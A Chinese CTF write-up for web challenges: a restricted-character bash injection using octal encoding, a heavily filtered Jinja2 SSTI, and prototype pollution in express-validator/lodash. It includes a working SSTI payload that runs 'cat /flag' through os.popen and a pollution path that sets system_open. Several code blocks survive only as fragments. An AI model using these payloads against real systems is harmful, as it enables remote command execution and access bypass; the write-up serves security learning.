前言
赛后总结并写个wp,平台到后面卡到爆炸,想抢救也没了。
wp web
bash
一道改编题,参考了
- [34c3 CTF minbashmaxfun writeup][https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60]
- [脚本参考][https://gist.github.com/lava/c879daef1b8853245a16f4b0b5b7f0a8]
1 |
|
只能使用
1 | ${#}\\(<)\'0 |
这些字符,估计是和无字母webshell一个思路,
1 | $# - 参数的个数,这里是0 |
执行命令的策略是,将八进制字符串转成正常的字符串,然后再发送到bash中执行命令:
最后写脚本
1 | bash = '$0' |
flag: D0g3{602c50f79a27407f9ffaaa0cb11a37db}
normal-ssti
一道过滤了巨多东西的ssti,
1 | %1d,%1e,%1e,%20,%1f,',*,+, , ,.,<,=,>,_,g,[,] |
发现可以用\uxxx来替代关键词。
最终payload
1 | GET /test?url={%print(((((((((("a"|attr("\u005f\u005fclass\u005f\u005f"))|attr("\u005f\u005fbase\u005f\u005f"))|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")())|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(290))|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"))|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074"))("\u0065\u0076\u0061\u006c"))("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029"))%} HTTP/1.1 |
flag: D0g3{40258eafb9694a4089a021b6ca52bbc3}
Validator
直接访问app.js,发现源码泄露,一次down源码和package.json。
1 | { |
这个express-validator和lodash,让人想起了自闭xnuca的oldjs
思路明确:
- 污染system_open为yes直接拿flag。
1 | const express = require('express') |
1 | POST /login HTTP/1.1 |
[参考][https://github.com/NeSE-Team/XNUCA2020Qualifier/blob/main/Web/oooooooldjs/writeup.md]
0oops战队的非预期,打了就是。
这里挑几个关键的地方讲下。
首先是污染的点,是在node_modules/express-validator/src/chain/context-runner-impl.js,具体细节直接看xnu的分析
1
2
3
4const reqValue = path !== '' ? _.get(req[location], path) : req[location];
if (!options.dryRun && reqValue !== instance.value) {
path !== '' ? _.set(req[location], path, newValue) : _.set(req, location, newValue);
}导致污染任意值的原因
在context-runner-impl.js中有个。
1
const instances = this.selectFields(req, context.fields, context.locations);
看下调用堆栈。
直接看到select-field.js的expandPath。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45function expandPath(object, path, accumulator) {
const segments = _.toPath(path);
const wildcardPos = segments.indexOf('*');
if (wildcardPos > -1) {
const subObject = wildcardPos === 0 ? object : _.get(object, segments.slice(0, wildcardPos));
if (!subObject || !_.isObjectLike(subObject)) {
return;
}
Object.keys(subObject)
.map(key => segments
// Before the *
.slice(0, wildcardPos)
// The part that the * matched
.concat(key)
// After the *
.concat(segments.slice(wildcardPos + 1)))
.forEach(subPath => {
expandPath(object, subPath, accumulator);
});
}
else {
const reconstructedPath = segments.reduce((prev, segment) => {
let part = '';
// TODO: Handle brackets?
if (segment.includes('.')) {
// Special char key access
part = `["${segment}"]`;
}
else if (/^\d+$/.test(segment)) {
// Index access
part = `[${segment}]`;
}
else if (prev) {
// Object key access
part = `.${segment}`;
}
else {
// Top level key
part = segment;
}
return prev + part;
}, '');
accumulator.push(reconstructedPath);
}
}"block\"].__proto__[\"system_open"
变成[\"block\"].__proto__[\"system_open\"]
最后得到这个三个path将被逐个带入set方法。然而我们一开始就传入了block对象刚好会被path=
[\"block\"].__proto__[\"system_open\"]
的时候访问到然后就很明显了将原型链中的system_open赋值为yes。
wp 逆向
这里@ [古浪月子]https://blog.csdn.net/tqydyqt/